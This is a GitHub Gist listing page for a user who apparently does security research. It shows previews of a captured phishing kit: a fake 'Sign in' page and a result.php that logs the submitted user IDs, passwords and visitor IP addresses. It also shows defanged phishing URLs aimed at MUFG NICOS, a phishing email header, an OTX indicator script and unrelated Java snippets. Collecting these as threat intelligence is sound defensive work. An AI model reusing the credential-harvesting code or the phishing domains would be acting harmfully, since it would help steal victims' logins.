Skip to content

Instantly share code, notes, and snippets.

View ozuma's full-sized avatar

Osumi, Yusuke ozuma

View GitHub Profile
@ozuma
ozuma / index.php
Created June 16, 2025 10:53
[PhishKit] 1 of 2
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<head>
<title>Sign in</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta charset="utf-8" />
<meta name="applicable-device" content="pc,mobile" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="format-detection" content="telephone=no" />
<link rel="shortcut icon"
@ozuma
ozuma / result.php
Created June 16, 2025 10:52
[PhishKit] 2 of 2
<?
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$message .= "=============+ LOGS +=============\n";
$message .= "Online: ".$_POST['id']."\n";
$message .= "pass: ".$_POST['password']."\n";
$message .= "======IP Address & Date======\n";
$message .= "IP Address: ".$ip."\n";
@ozuma
ozuma / create_indicators_with_types.py
Last active May 2, 2025 06:09
AlienVault OTXにPulseを作成する際、URLまたはドメインが書かれたファイルからJSONを作成する
#!/usr/bin/python3
import re
import sys
import json
def read_lines(file_path):
"""テキストファイルからURLまたはドメインリストを読み取る"""
try:
with open(file_path, "r") as file:
lines = file.read().splitlines()
@ozuma
ozuma / StreamArrayTest
Created April 4, 2023 16:53
Java, stream, Arrays
import java.util.Arrays;
import java.util.stream.Collectors;
import java.util.stream.Stream;
class StreamArrayTest
{
public static void main(String[] args)
{
Stream<String> stream = Stream.of("NYC", "Mexico", "Beijing", "New Delhi", "Tokyo");
@ozuma
ozuma / stringStreamTest.java
Created April 4, 2023 16:19
String, Arrays, stream, startsWith
import java.util.Arrays;
import java.util.stream.Stream;
public class stringStreamTest {
public static void main(String[] args) {
String[] arr = { "NYC", "Mexico", "BeiJing", "New Delhi", "Tokyo" };
Stream<String> stream = Arrays.asList(arr).stream();
stream.filter(s -> s.startsWith("N"))
@ozuma
ozuma / Main.java
Created April 4, 2023 16:08
ABC294_a: Java, STDIN, stream, Arrays
import java.util.Arrays;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
final int arraySize = Integer.parseInt(sc.next());
int[] lists = new int[arraySize];
for (int i = 0; i < arraySize; i++) {

Keybase proof

I hereby claim:

  • I am ozuma on github.
  • I am osumi (https://keybase.io/osumi) on keybase.
  • I have a public key ASA80HYmsHZNZWr1GZbBY1eGFsedorajAN9itEYcxY6wQAo

To claim this, I am signing this object:

@ozuma
ozuma / writemp4.sh
Last active April 8, 2023 15:58
Twitterのボイスメッセージをファイル出力
ffmpeg -i 'https://...../xxx.m3u8' -movflags faststart -c copy -bsf:a aac_adtstoasc output.mp4
@ozuma
ozuma / mailheader-phishing-QR.txt
Created January 1, 2023 09:01
A header of a Phishing Mail with QR code.
From - Wed Dec 28 12:58:58 2022
X-Account-Key: account5
X-UIDL: UID39566-1566717234
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <[email protected]>
Received: from gmail.com ([175.165.163.226])
by www310.sakura.ne.jp (8.15.2/8.15.2) with ESMTP id 2BRHdMIf053496
for <[email protected]>; Wed, 28 Dec 2022 02:39:22 +0900 (JST)
@ozuma
ozuma / 172.245.163.155_MUFG_NICOS.txt
Created August 20, 2022 21:56
2022-8-20(JST)_Phishing URLs targeting MUFG NICOS
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.a8m6di.icu/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.aaxbpo.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.adpslp.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.aenjkw.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.agdhkb.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.akgjcb.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.baelbg.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.bhqnyq.icu/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.bkwgho.top/uWBRvZ8quj/page1.php
hxxp://www.vieasecivioenre.vsosirvsivmenscevoiei.bmknvf.top/uWBRvZ8quj/page1.php